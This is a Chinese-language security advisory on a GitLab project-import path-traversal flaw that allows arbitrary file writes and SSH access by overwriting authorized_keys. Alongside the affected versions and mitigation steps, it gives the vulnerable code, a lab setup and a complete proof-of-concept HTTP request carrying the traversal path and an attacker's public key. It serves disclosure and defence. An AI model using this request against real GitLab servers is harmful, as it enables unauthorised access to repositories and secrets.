【漏洞预警】Gitlab远程代码执行漏洞

匿名者  2355天前

详情


近期Hackerone公开了Gitlab的任意文写入,导致远程代码执行漏洞。该GitLab漏洞的相关的PoC已经开始流传,危害严重。白帽汇安全研究院提醒广大管理员,运维人员,站长及时进行修复。做好防范措施,以免受到不必要的损失。

概况


GitLab 是一个基于 git 的仓库管理程序,也是一个方便软件开发的强大完整应用。GitLab 拥有一个“用户新人友好”的界面,通过图形界面和命令行界面,使你的工作更加具有效率。GitLab 不仅仅对开发者是一个有用的工具,它甚至可以被集成到你的整个团队中,使得每一个人获得一个独自唯一的平台。

据FOFA系统显示,全球范围内共有108692个GitLab对外开放服务。其中美国使用最多,其次是德国,中国的使用量排在第三位。

1527734145(1).jpg

Gitlab全球分布情况(仅为分布情况,非漏洞影响情况)

中国地区中浙江省使用用数量最多,共有7385台;北京市第二,共有3208台台,广东省第三,共有770台,上海市第四,共有627台,江苏省第五,共有195台。

图片.png

 中国地区gitlab分布情况(仅为分布情况,非漏洞影响情况)

危害等级


严重

漏洞原理与危害


项目GitlabProjectsImportService包含允许攻击者将文件写入服务器上任意目录的漏洞。这会导致重写授权的密钥文件authorized_keys导致任意的命令执行漏洞。

现在看看在这个端点被攻击时正在执行的代码:

app/services/projects/gitlab_project_import_service.rb

# This service is an adapter used to for the GitLab Import feature, and
# creating a project from a template.
# The latter will under the hood just import an archive supplied by GitLab.
module Projects
  class GitlabProjectsImportService
    # ...

    def execute
      FileUtils.mkdir_p(File.dirname(import_upload_path))
      FileUtils.copy_entry(file.path, import_upload_path)

      Gitlab::ImportExport::ProjectCreator.new(params[:namespace_id],
                                               current_user,
                                               import_upload_path,
                                               params[:path]).execute
    end

    # ...

    def tmp_filename
      "#{SecureRandom.hex}_#{params[:path]}"
    end
  end
end

GitLab项目导入组件时import_upload_path将未过滤的参数params[:path]添加到gitlab上传目录,导致存在目录遍历,此外由于文件内容没有限制,最终导致任意内容写入任意文件。由于默认gitlab创建并启动了git账户,该账户默认目录为/var/opt/gitl,修改.ssh/authorized_keys文件为攻击者的公钥,即可以git用户身份成功登录服务器,从而导致命令执行。

攻击者可以在服务器上执行任意的系统命令,这暴露了对所有GIT存储库、数据库和可能用于进一步升级的其他可能的秘密的访问。

影响


目前漏洞影响版本号包括:

  • GitLab CE and EE 8.9.0 - 9.5.10
  • GitLab CE and EE 10.0.0 - 10.1.5
  • GitLab CE and EE 10.2.0 - 10.2.5
  • GitLab CE and EE 10.3.0 - 10.3.3

漏洞利用复现


环境搭建

利用docker搭建gitlab

docker run -d --name gitlab -p 80:80 -p 443:443 -p 2222:22  gitlab/gitlab-ce:10.2.4-ce.0

修改配置文件

docker exec -it gitlab /bin/bash
nano /etc/gitlab/gitlab.rb

# 去掉gitlab的注释并修改对应ip
external_url '192.168.1.100'
#重新载入配置文件
gitlab-ctl reconfigure
# 访问对应ip,第一次需要设置密码,并新建用户
http://192.168.1.100/

本地利用ssh-keygen生成公私钥对(用于攻击替换和登录)

漏洞POC


  1. 登录gitlab->创建项目->Import project->GitLab Import->选择文件
  2. 然后选择前面ssh-keygen生成的公钥(注意是公钥)
  3. 点击import project后,burp修改path的值为/../../../../../../../../../var/opt/gitlab/.ssh/authorized_keys

请求数据包如下

POST /import/gitlab_project HTTP/1.1
Host: 192.168.1.100
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------20787582420424
Content-Length: 1214
Referer: http://192.168.1.100/import/gitlab_project/new?namespace_id=2&path=
Cookie: _gitlab_session=9c5f21dbfe98d90b1d992e1c9907584c; sidebar_collapsed=false
Connection: close
Upgrade-Insecure-Requests: 1

-----------------------------20787582420424
Content-Disposition: form-data; name="utf8"

✓
-----------------------------20787582420424
Content-Disposition: form-data; name="authenticity_token"

JoWtToPxTJL6RVASaprnR1hRqEGARnbLkA06favQLxQ7Y7YtyqfE9+JsbV/NAwy7XAdTuzgRsxJ/Kl1hH9V6xA==
-----------------------------20787582420424
Content-Disposition: form-data; name="namespace_id"

{:value=>2}
-----------------------------20787582420424
Content-Disposition: form-data; name="path"

ssh/../../../../../../../../../var/opt/gitlab/.ssh/authorized_keys
-----------------------------20787582420424
Content-Disposition: form-data; name="namespace_id"

2
-----------------------------20787582420424
Content-Disposition: form-data; name="file"; filename="id_rsa.pub"
Content-Type: application/vnd.ms-publisher

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+McaRvLdnm+u30cACV4ftHJUESNVNV/VNlwm5xST343cFQODjBua5ffpCgDIejiVhyz9BzMmmynN5tnN6JQlx4SwSGkuR3+wzbJ8XKJNHLpOeZ2Xzw+UA9duDinDQHUklFwDmjH7Pywy6kRurIWXTsdupkLrHobEjSjrwEkqvLUnRi1EA/nU5es+kEz6c04jDUrZoGaj5GiI7VYReX+d9Pm524H9KfBpFIZ27yaWs1lR9b+dXjbXnUdysKdWTQcwy1tv+xhEbwF9m/PQajAEPPl95u/qrGPMqT0l08dC6H9o50i9Yn0Yf3t946g4QjGBs+GZgaNoLda8d5U5S8XLz BF@DESKTOP-4UM7GF4

-----------------------------20787582420424--

    4.发送请求后,使用用户名git以及生成的私钥登录gitlab服务器,如下是执行命令的demo

$ id
uid=998(git) gid=998(git) groups=998(git)

修复建议


1、到GITLAB实例的/admin/application_settings设置。
2、在“导入源”下,取消选中“GITLAB导出”复选框。
3、单击“保存”。

将受影响版本的设备尽快升级到最新版本。

白帽汇会持续对该漏洞进行跟进。后续可以持续本链接。

参考


[1] https://fofa.so/result?qbase64=YXBwPSJHaXRMYWIi

[2] https://xz.aliyun.com/t/2366?from=timeline&isappinstalled=0

[3] https://about.gitlab.com/2018/01/16/gitlab-10-dot-3-dot-4-released/

[4] https://hackerone.com/reports/298873

北京华顺信安从事信息安全,专注于安全大数据、企业威胁情报。

公司产品:FOFA-网络空间安全搜索引擎、FOEYE-网络空间检索系统、NOSEC-大数据安全协作平台。

为您提供:网络空间测绘、企业资产收集、企业威胁情报、应急响应服务。

最新评论

Later  :  不错不错
2342天前 回复
netore  :  没有公钥的话 似乎不能利用吧
2297天前 回复
netore  :  没有公钥的话 似乎不能利用吧
2297天前 回复
netore  :  没有公钥的话 似乎不能利用吧
2297天前 回复
netore  :  没有公钥的话 似乎不能利用吧
2297天前 回复
昵称
邮箱
提交评论